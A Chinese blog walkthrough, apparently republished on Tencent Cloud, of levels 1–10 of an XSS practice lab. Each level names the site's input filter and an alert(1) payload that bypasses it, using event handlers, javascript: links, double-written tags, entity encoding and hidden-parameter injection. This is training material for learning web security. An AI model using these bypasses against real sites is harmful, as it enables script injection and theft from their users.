前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >哆啦靶场XSS挑战赛1-10关攻略

哆啦靶场XSS挑战赛1-10关攻略

作者头像
C4rpeDime
发布2020-05-07 15:37:11
1.6K2
发布2020-05-07 15:37:11
举报
文章被收录于专栏:黑白安全黑白安全

哆啦集成了网络上常见的靶场与GitHub上比较好的靶场系统,配合一键启动模式,省去你去收集再进行搭建的时间,方便你更加快速的学习信息安全。

该靶场已经正式开源,黑白网去除登录限制重构靶场环境,bachang.heibai.org

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

正文部分

XSS挑战赛第一关

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

F12查看了源码发现并没有任何过滤,

代码语言:javascript
复制
<script>alert(1)</script>

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

XSS挑战赛第二关

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

查看源码发现<>尖括号无法使用

框内输入

代码语言:javascript
复制
" onmouseover=alert(1)>[object Object]

或者将input文本框提前闭合

代码语言:javascript
复制
"><script>alert(1)</script>[object Object]

XSS挑战赛第三关

和第二关的区别在于代码内多了一句value='".htmlspecialchars($str)."'

无法使用尖括号,so继续使用不用尖括号的弹窗

代码语言:javascript
复制
' onmouseover=alert(1)//

在源码构成

<input name="keyword" value=" " onmouseover="alert(1)//'">

即可

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

XSS挑战赛第四关

htmlspecialchars+尖括号过滤

在没有尖括号并且语句不被htmlspecialchars()函数影响的情况下

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

输入

代码语言:javascript
复制
" onclick=alert(1) //

在点击搜索框触发XSS

XSS挑战赛第五关

strreplace 就直接把on转换成 o_n 这样就过滤了js事件但是没过滤尖括号

所以

代码语言:javascript
复制
"><a href=javascript:alert(1)>

即可

点击“>触发

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

XSS挑战赛第六关

script 转换成 scr_ipt on 转换成 o_n src 转换成 sr_c data 转换成 da_ta href 转换成 hr_ef

但是没有大小写约束

代码语言:javascript
复制
"> <Script>alert(1)</script> //

直接冲冲冲

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

XSS挑战赛第七关

禁用了大小写同时script,on,src ,data ,href 都直接转换成空。

利用双写绕过

代码语言:javascript
复制
">hello<sscriptcript>alert(1)</sscriptcript>
哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

XSS挑战赛第八关

script 转换成 scr_ipt on 转换成 o_n src 转换成 sr_c data 转换成 da_ta href 转换成 hr_ef 大小写禁用 " 被编码,但是尖括号等符号没有被过滤,输出点在a标签内,href属性中

javascript会被替换成javasc_rpt,我们使用&#x72来代替r

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

键入

代码语言:javascript
复制
javascrip&#x74;:alert(1)

并点击添加后,再点击友情链接即可触发

XSS挑战赛第九关

查看源码发现不带http://即为不合法提交

代码语言:javascript
复制
javascrip&#x74;:alert(1)//http://heibai.org
哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略

键入后点击友情链接即可触发

XSS挑战赛第十关

查看源代码,有get参数有隐藏框

代码语言:javascript
复制
keyword = test&t_sort="type="text" onclick = "alert(1)

直接冲冲冲

哆啦靶场XSS挑战赛1-10关攻略
哆啦靶场XSS挑战赛1-10关攻略
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-05-064,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 正文部分
    • XSS挑战赛第一关
      • XSS挑战赛第三关
        • XSS挑战赛第四关
          • XSS挑战赛第五关
            • XSS挑战赛第六关
              • XSS挑战赛第七关
                • XSS挑战赛第八关
                  • XSS挑战赛第九关
                    • XSS挑战赛第十关
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档